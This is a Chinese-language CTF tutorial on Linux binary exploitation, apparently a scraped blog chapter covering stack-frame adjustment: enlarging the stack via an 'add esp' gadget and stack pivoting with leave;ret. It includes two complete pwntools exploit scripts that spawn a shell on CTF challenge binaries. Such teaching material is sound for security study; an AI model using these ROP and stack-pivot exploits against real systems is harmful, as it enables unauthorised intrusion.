CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python

課程回顧>>linux

Linux Pwn入門教程第一章:環境配置shell

Linux Pwn入門教程第二章:棧溢出基礎安全

Linux Pwn入門教程第三章:ShellCode函數

Linux Pwn入門教程——ROP技術(上)佈局

Linux Pwn入門教程——ROP技術(下)編碼

 

教程中的題目和腳本如有使用不妥之處,歡迎各位大佬批評指正。加密

在存在棧溢出的程序中,有時候咱們會碰到一些棧相關的問題,例如溢出的字節數過小,ASLR致使的棧地址不可預測等。針對這些問題,咱們有時候須要經過gadgets調整棧幀以完成攻擊。經常使用的思路包括加減esp值,利用部分溢出字節修改ebp值並進行stack pivot等。操作系統

今天i春秋與你們分享的是Linux Pwn入門教程第五章:調整棧幀的技巧,閱讀用時約12分鐘。

 

修改esp擴大棧空間

咱們先來嘗試一下修改esp擴大棧空間。打開例子~/Alictf 2016-vss/vss,咱們發現這是一個64位的程序,且因爲使用靜態編譯+strip命令剝離符號,整個程序看起來比較亂,咱們先找到main函數:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

IDA載入後窗口顯示的是代碼塊start,這個結構是固定的,call的函數是__libc_start_main,上一行的offset則是main函數。進入main函數後,咱們能夠經過syscall的eax值,參數等肯定幾個函數的名字。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

sub_4374E0使用了調用號是0x25的syscall,且F5的結果該函數接收一個參數,應該是alarm。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

sub_408800字符串單參數,且參數被打印到屏幕上,能夠猜想是puts。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

sub_437EA0調用sub_437EBD,使用了0號syscall,且接收三個參數,推測爲read。

分析後的main函數以下:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

被命名爲verify的函數內部太過複雜,咱們先暫且放棄靜態分析的嘗試,經過向程序中輸入大量字符串咱們發現程序存在溢出。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

將斷點下在call read一行,咱們跟蹤一下輸入的數據的走向。

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

步進verify函數,執行到call sub_400330一行和執行結果,推測出sub_400330是strncpy( )。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧
CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

繼續往下執行,發現有兩個判斷,判斷輸入頭兩個字母是不是py,如果則直接退出,不然進入一個循環,這個循環會以[rbp+rax+dest]裏的值做爲循環次數對從輸入開始的每一個位異或0x66。因爲循環次數會被修改且變得過大,循環最後會由於試圖訪問沒有標誌位R的內存頁而崩潰。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

rbp+rax=0x7FFE6CD1A040,該地址所在內存頁沒法訪問。

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

所以咱們須要改變思路,嘗試一下在輸入的開頭加上「py」,這回發現了一個數據可控的棧溢出。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

經過觀察數據咱們很容易發現被修改的EIP是經過strncpy複製到輸入前面的0x50個字節的最後8個。因爲沒有libc,one gadget RCE使不出來,且使用了strncpy,字符串裏不能有\\x00,不然會被當作字符串截斷從而沒法複製滿0x50字節制造可控溢出,這就意味着任何地址都不能被寫在前0x48個字節中。在這種狀況下咱們就須要經過修改esp來完成漏洞利用。

首先,儘管咱們有那麼多的限制條件,可是在main函數中咱們看到read函數的參數指明瞭長度是0x400。幸運的是,read函數能夠讀取「\\x00」。

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

這就意味着咱們能夠把ROP鏈放在0x50字節以後,而後經過增長esp的值把棧頂擡到ROP鏈上。咱們搜索包含add esp的gadgets,搜索到了一些結果。

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

經過這個gadget,咱們成功把esp的值增長到0x50以後。接下來咱們就可使用熟悉的ROP技術調用sys_read讀取「/bin/sh\\x00」字符串,最後調用sys_execve了。構建ROP鏈和完整腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
payload = ""
payload += p64(0x6161616161617970) #頭兩位爲py,過檢測
payload += 'a'*0x40 #padding
payload += p64(0x46f205) #add esp, 0x58; ret
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 爲sys_read設置參數
payload +=p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079
payload += p64(0x401823) #pop rdi; ret 爲sys_read設置參數
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 調用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 爲sys_execve設置參數
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 爲sys_execve設置參數
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序執行,防止出錯
io.send('/bin/sh\\x00')
io.interactive()

棧幀劫持stack pivot

經過能夠修改esp的gadget能夠繞過一些限制,擴大可控數據的字節數,可是當咱們須要一個徹底可控的棧時這種小把戲就無能爲力了。在系列的前幾篇文章中咱們提到過數次ALSR,即地址空間佈局隨機化。

這是一個系統級別的安全防護措施,沒法經過修改編譯參數進行控制,且目前大部分主流的操做系統均實現且默認開啓ASLR。正如其名,在開啓ASLR以前,一個進程中全部的地址都是肯定的,不論重複啓動多少次,進程中的堆和棧等的地址都是固定不變的。

這就意味着咱們能夠把須要用到的數據寫在堆棧上,而後直接在腳本里硬編碼這個地址完成攻擊。例如,咱們假設有一個沒有開NX保護的,有棧溢出的程序運行在沒有ASLR的系統上。因爲沒有ASLR,每次啓動程序時棧地址都是0x7fff0000,那麼咱們直接寫入shellcode而且利用棧溢出跳轉到0x7fff0000就能夠成功getshell。

而當ASLR開啓後,每次啓動程序時的棧和堆地址都是隨機的,也就是說此次啓動時是0x7fff0000,下回可能就是0x7ffe0120。這時候若是沒有jmp esp一類的gadget,攻擊就會失效,而stack pivot這種技術就是一個對抗ASLR的利器。

stack pivot之因此重要,是由於其利用到的gadget幾乎不可能找不到。在函數創建棧幀時有兩條指令push ebp; mov ebp, esp,而退出時一樣須要消除這兩條指令的影響,即leave(mov esp, ebp; pop ebp)。且leave通常緊跟着就是ret。所以,在存在棧溢出的程序中,只要咱們能控制到棧中的ebp,咱們就能夠經過兩次leave劫持棧。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧
CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧
CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

第一次leave; ret,new esp爲棧劫持的目標地址。能夠看到執行到retn時,esp還在原來的棧上,ebp已經指向了新的棧頂。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧
CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

第二次leave; ret 實際決定棧位置的寄存器esp已經被成功劫持到新的棧上,執行完gadget後棧頂會在new esp-4(64位是-8)的位置上。此時棧徹底可控經過預先或者以後在new stack上佈置數據能夠輕鬆完成攻擊。

咱們來看一個實際的例子~/pwnable.kr-login/login,這個程序的邏輯很簡單,且預留了一個system(「/bin/sh」)後門。

 

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

程序要求咱們輸入一個base64編碼過的字符串,隨後會進行解碼而且複製到位於bss段的全局變量input中,最後使用auth函數進行驗證,經過後進入帶有後門的correct( )打開shell。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

打開auth函數,咱們發現這個auth的手段其實是計算md5並進行比對,顯然以咱們的水平要在短期裏作到md5碰撞不現實。但萬幸的是,這裏的memcpy彷佛會形成一個棧溢出。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

調試發現不幸的是咱們不能控制EIP,只能控制到EBP。這就須要用到stack pivot把對EBP的控制轉化爲對EIP的控制了。因爲程序把解碼後的輸入複製到地址固定的.bss段上,且從auth到程序結束總共要通過auth和main兩個函數的leave; retn,咱們能夠將棧劫持到保存有輸入的.bss段上。毫無疑問,base64加密前的12個字節的最後4個留給.bss段上數據的首地址0x811eb40.根據以前的推演,執行到第二次retn時esp = new esp - 4,因此頭4個字節應該是填充位,中間四個字節就是後門的地址。即輸入佈局以下:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

 

構造腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote("172.17.0.2", 10001)
payload = "aaaa" #padding
payload += p32(0x08049284) #system("/bin/sh")地址,整個payload被複制到bss上,棧劫持後retn時棧頂在這裏
payload += p32(0x0811eb40) #新的esp地址
io.sendline(b64encode(payload))
io.interactive()

須要注意的是,stack pivot是一個比較重要的技術。在接下來的SROP和ret2dl_resolve中咱們還將利用到這個技術。

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索